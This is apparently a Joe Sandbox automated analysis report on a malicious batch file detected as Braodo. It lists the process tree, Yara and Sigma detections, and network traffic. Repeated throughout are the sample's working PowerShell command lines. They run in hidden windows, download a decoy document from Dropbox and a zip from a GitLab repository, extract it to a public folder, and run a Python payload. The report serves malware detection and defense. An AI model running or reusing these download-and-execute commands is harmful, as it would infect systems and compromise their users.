Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
De17De16.bat

Overview

General Information

Sample name:De17De16.bat
Analysis ID:1578277
MD5:c0531774a7563455c10b7333360c5600
SHA1:07b48cae32641625f3d3c97c5f2176913a10aad1
SHA256:63f3f149ea4accea79b181ae90569ac05fbc9c4a56dc6097d4f7c5373aecac36
Tags:batBraodouser-JAMESWT_MHT
Infos:

Detection

Abobus Obfuscator, Braodo
Score:88
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Yara detected Abobus Obfuscator
Yara detected Braodo
Yara detected Powershell download and execute
AI detected suspicious sample
Sigma detected: PowerShell DownloadFile
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious powershell command line found
Tries to download and execute files (via powershell)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: Use Short Name Path in Command Line
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

  • System is w10x64
  • cmd.exe (PID: 7332 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\De17De16.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 7340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • chcp.com (PID: 7400 cmdline: chcp.com 437 MD5: 33395C4732A49065EA72590B14B64F32)
    • findstr.exe (PID: 7448 cmdline: fiNdstr /L /I set "C:\Users\user\Desktop\De17De16.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)
    • findstr.exe (PID: 7464 cmdline: fiNdstr /L /I goto "C:\Users\user\Desktop\De17De16.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)
    • findstr.exe (PID: 7480 cmdline: fiNdstr /L /I echo "C:\Users\user\Desktop\De17De16.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)
    • findstr.exe (PID: 7496 cmdline: fiNdstr /L /I pause "C:\Users\user\Desktop\De17De16.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)
    • find.exe (PID: 7512 cmdline: fInd MD5: 4BF76A28D31FC73AA9FC970B22D056AF)
    • find.exe (PID: 7532 cmdline: find MD5: 4BF76A28D31FC73AA9FC970B22D056AF)
    • cmd.exe (PID: 7552 cmdline: C:\Windows\system32\cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • cmd.exe (PID: 7568 cmdline: C:\Windows\system32\cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • powershell.exe (PID: 7584 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')" MD5: 04029E121A0CFA5991749937DD22A1D9)
    • powershell.exe (PID: 7840 cmdline: powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx'" MD5: 04029E121A0CFA5991749937DD22A1D9)
    • powershell.exe (PID: 7932 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/garvdsf/dsfg/-/raw/main/FGa1712.zip', 'C:\Users\Public\Document.zip')" MD5: 04029E121A0CFA5991749937DD22A1D9)
    • powershell.exe (PID: 8156 cmdline: powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')" MD5: 04029E121A0CFA5991749937DD22A1D9)
    • powershell.exe (PID: 2936 cmdline: powershell.exe -WindowStyle Hidden -Command " C:\Users\Public\Document\pythonw.exe C:\Users\Public\Document\DLLs\ld_312.pd clickapp" MD5: 04029E121A0CFA5991749937DD22A1D9)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
De17De16.batJoeSecurity_AbobusObfuscatorYara detected Abobus ObfuscatorJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    Process Memory Space: powershell.exe PID: 7584JoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security
      Process Memory Space: powershell.exe PID: 7932JoeSecurity_Braodo_1Yara detected BraodoJoe Security
        Process Memory Space: powershell.exe PID: 7932JoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security

          Other

          SourceRuleDescriptionAuthorStrings
          amsi64_7584.amsi.csvJoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security
            amsi64_7932.amsi.csvJoeSecurity_Braodo_1Yara detected BraodoJoe Security
              amsi64_7932.amsi.csvJoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security
                amsi64_2936.amsi.csvJoeSecurity_Braodo_1Yara detected BraodoJoe Security

                  Sigma Signatures

                  System Summary

                  barindex
                  Sigma detected: PowerShell DownloadFile
                  Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\De17De16.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7332, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", ProcessId: 7584, ProcessName: powershell.exe
                  Sigma detected: Suspicious Script Execution From Temp Folder
                  Source: Process startedAuthor: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\De17De16.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7332, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", ProcessId: 7584, ProcessName: powershell.exe
                  Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
                  Source: File createdAuthor: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7932, TargetFilename: C:\Users\Public\Document.zip
                  Sigma detected: PowerShell Download Pattern
                  Source: Process startedAuthor: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\De17De16.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7332, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", ProcessId: 7584, ProcessName: powershell.exe
                  Sigma detected: PowerShell Web Download
                  Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\De17De16.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7332, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", ProcessId: 7584, ProcessName: powershell.exe
                  Sigma detected: Usage Of Web Request Commands And Cmdlets
                  Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\De17De16.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7332, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", ProcessId: 7584, ProcessName: powershell.exe
                  Sigma detected: Use Short Name Path in Command Line
                  Source: Process startedAuthor: frack113, Nasreddine Bencherchali: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\De17De16.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7332, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", ProcessId: 7584, ProcessName: powershell.exe
                  Sigma detected: Non Interactive PowerShell Process Spawned
                  Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\De17De16.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7332, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", ProcessId: 7584, ProcessName: powershell.exe

                  Suricata Signatures

                  ⊘No Suricata rule has matched

                  Joe Sandbox Signatures

                  Click to jump to signature section

                  Show All Signature Results

                  AV Detection

                  barindex
                  AI detected suspicious sample
                  Source: Submited SampleIntegrated Neural Analysis Model: Matched 98.6% probability
                  Source: unknownHTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.7:49702 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.7:49717 version: TLS 1.2
                  Source: Binary string: ystem.pdb source: powershell.exe, 00000011.00000002.1628176559.00000272A9280000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: powershell.exe, 00000011.00000002.1630030775.00000272A9350000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000011.00000002.1628176559.00000272A92C6000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: System.pdbN|2h|2 Z|2_CorDllMainmscoree.dll source: powershell.exe, 0000000F.00000002.1494836924.0000027541C51000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: n.pdb source: powershell.exe, 0000000C.00000002.1385589073.000001632A7BE000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000000F.00000002.1494836924.0000027541D02000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.1384475159.000001632A657000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: n.pdbm} source: powershell.exe, 00000011.00000002.1631228691.00000272A94F0000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: bpdbtem.pdb-N source: powershell.exe, 0000000C.00000002.1384475159.000001632A5C4000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: System.pdb source: powershell.exe, 0000000F.00000002.1494836924.0000027541C51000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: n.pdbREI source: powershell.exe, 0000000F.00000002.1494836924.0000027541CB5000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: n.pdb3H source: powershell.exe, 0000000C.00000002.1385589073.000001632A7BE000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: System.IO.Compression.FileSystem.pdb7-8B11-F424491E3931}\InprocServer32h source: powershell.exe, 00000011.00000002.1630030775.00000272A9326000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 0000000F.00000002.1497479623.0000027541EBF000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: System.Core.pdb source: powershell.exe, 0000000C.00000002.1384475159.000001632A580000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: m.pdb]} source: powershell.exe, 00000011.00000002.1631228691.00000272A94F0000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb1 source: powershell.exe, 0000000F.00000002.1497479623.0000027541EBF000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: ion.pdb source: powershell.exe, 00000011.00000002.1631228691.00000272A94F0000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: *.pdb{ source: powershell.exe, 0000000C.00000002.1384475159.000001632A65F000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: 089\System.Core.pdb source: powershell.exe, 00000011.00000002.1631228691.00000272A94F0000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: n.pdbM} source: powershell.exe, 00000011.00000002.1631228691.00000272A94F0000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: System.Core.pdbk source: powershell.exe, 0000000C.00000002.1384475159.000001632A580000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbM source: powershell.exe, 00000011.00000002.1628176559.00000272A92A4000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbX| source: powershell.exe, 00000011.00000002.1631228691.00000272A94F0000.00000004.00000020.00020000.00000000.sdmp
                  Source: global trafficHTTP traffic detected: GET /scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1 HTTP/1.1Host: www.dropbox.comConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /garvdsf/dsfg/-/raw/main/FGa1712.zip HTTP/1.1Host: gitlab.comConnection: Keep-Alive
                  Source: Joe Sandbox ViewIP Address: 172.65.251.78 172.65.251.78
                  Source: Joe Sandbox ViewIP Address: 162.125.69.18 162.125.69.18
                  Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: global trafficHTTP traffic detected: GET /scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1 HTTP/1.1Host: www.dropbox.comConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /garvdsf/dsfg/-/raw/main/FGa1712.zip HTTP/1.1Host: gitlab.comConnection: Keep-Alive
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: .dropbox.com ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://*.purple.officeapps.live-int.com https://officeapps-df.live.com https://*.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://*.dropboxusercontent.com/p/hls_master_playlist/ https://*.dropboxusercontent.com/p/hls_playlist/ ; font-src https://* data: ; connect-src https://* ws://127.0.0.1:*/ws blob: wss://dsimports.dropbox.com/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; img-src https://* data: blob: ; base-uri 'self' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; media-src https://* blob: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; style-src https://* 'unsafe-inline' 'unsafe-eval' equals www.yahoo.com (Yahoo)
